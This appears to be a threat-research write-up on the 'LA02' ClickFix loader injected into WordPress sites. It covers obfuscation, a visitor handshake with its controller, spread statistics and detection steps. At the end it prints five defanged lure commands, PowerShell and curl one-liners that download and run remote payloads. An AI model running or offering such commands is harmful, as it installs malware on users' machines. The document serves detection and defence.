LA02 ClickFix kit

A script that deletes itself

LA02 is a single loader, obfuscated with JS-Confuser and written into the site's own HTML. When it has run, it removes its own script element from the page. Look at the page in developer tools afterwards and it is gone. It only shows in the raw source the server sent.

Optimisation plugins disguise it further. LiteSpeed Cache stored one copy as a Base64 data: script, and TenWeb's optimiser stored another as Base64 of URL-encoded JavaScript inside its two_worker_data_js block. Each build changes its table of constants while a fixed prefix stays the same.

A handshake with every visitor

LA02's controller address is written into the loader. Each visitor goes through a four-step handshake:

1. Register: the loader sends a visitor ID it keeps in local storage, the page address and a filtered list of the browser's window properties. The controller replies with its own visitor ID, and sometimes code to run.
2. Click callback: the loader reports how long requests took, how many real mouse movements and clicks the visitor made, whether the tab had focus and how long the visitor stayed. Any code the controller sends back runs, sometimes after a delay.
3. and 4. Two status calls carrying both IDs.

Every request and reply is XOR-coded with a 16-byte key. The loader skips bot-like browsers, counts only trusted mouse and click events, and sets a three-day cooldown after a click. In our captures, the controllers have answered with an ID and nothing else.

What we see

Month	New sites
September	5,654
October	1,528
November so far	285

Of the 2,796 sites recaptured at least 25 days after their first match, 1,327 were still serving LA02 (47%). 95% of LA02 sites captured since 25 September run WordPress, and 67% of those run WordPress 7.1.

LA02 shares many of its sites with other kits: 1,120 of its sites also carry LenAI and 906 carry OverlayWar.

Checking a site

Because LA02 deletes itself, check the HTML your server sends. By the time the page is on screen, the script is gone. Download the page with a tool such as curl, or use "view source", and look for:

• a long inline script built around a custom character table, ending in an indirect eval
• the same code stored as a Base64 data: script by a caching plugin
• a two_worker_data_js block that decodes to that script, if you use TenWeb

Purge the site's cache after cleaning, since the optimised copies keep serving the loader.

irm hxxps://checkrobotbb[.]pw/ps/traffic?r=40bc|iex

curl -s $(echo "[base64 of: hxxps://blaze-venture[.]com/curl/ayuo6yhzwj/rxocex4v0udw2traopv7jtdt.json]" | openssl base64 -d -A) | zsh

powershell -ep bypass -w h -c "iwr 'hxxps://dosauthi[.]com/download/63s8bl/Package_b16888.exe' -OutFile $env:TEMP\a.exe;Unblock-File $env:TEMP\a.exe -EA 0;start $env:TEMP\a.exe"

(irm 'hxxps://interseq[.]at/h/706036f8a6192317' -UserAgent 'WUA/5d45126cd6' -Headers @{'X-WUA'='5d45126cd6'})|iex

powershell -ep bypass -w h -c "iwr 'hxxps://degpoints[.]com/setup/49fnea/Client_f5cb30.exe' -OutFile $env:TEMP\a.exe;Unblock-File $env:TEMP\a.exe -EA 0;start $env:TEMP\a.exe"